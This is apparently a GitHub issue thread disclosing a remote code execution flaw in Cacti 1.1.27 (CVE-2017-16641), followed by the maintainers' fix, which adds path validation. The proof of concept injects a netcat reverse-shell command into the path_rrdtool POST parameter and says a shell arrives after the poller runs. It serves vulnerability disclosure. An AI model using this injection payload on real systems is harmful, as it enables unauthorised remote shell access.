Critical vuln in cacti 1.1.27
cibvetr2 opened this issue · comments
We (worlak2 and cibvetr2) found RCE vuln with black-box fuzzing.
PoC
1)Send in POST parameter path_rrdtool -> nc -e /bin/bash 192.168.1.214 1337 #
2) Ater 2-5 minutes we have backconnect shell
It’s triggered after execute poller.php in process. We think that because $command not filtered in ./lib/rrd.php:39-40
With regards worlak2 and cibvetr2
We will address this using two techniques. The first will be to conduct validation on the two form types: dirpath, and filepath. If, for these two form types, either the directory does not exist, or the file does not exist, the save will be rejected.
Then, as you mentioned, in the case where for some reason a Cacti admin has intentionally added a back door, or some SQL injection has allowed this modification, we will pre-check the path as you described.
Resolved, and thanks for reporting! We really appreciate those who comb the Cacti code for potential exploits.
Thanks for answer, but we think thats need to enumerate of CVE
Is there a open CVE for this issue? If not, please submit your findings and get us a CVE.
We didn't open CVE for this issue. We will send shortly
Use CVE-2017-16641
@ronytomen now it can be closed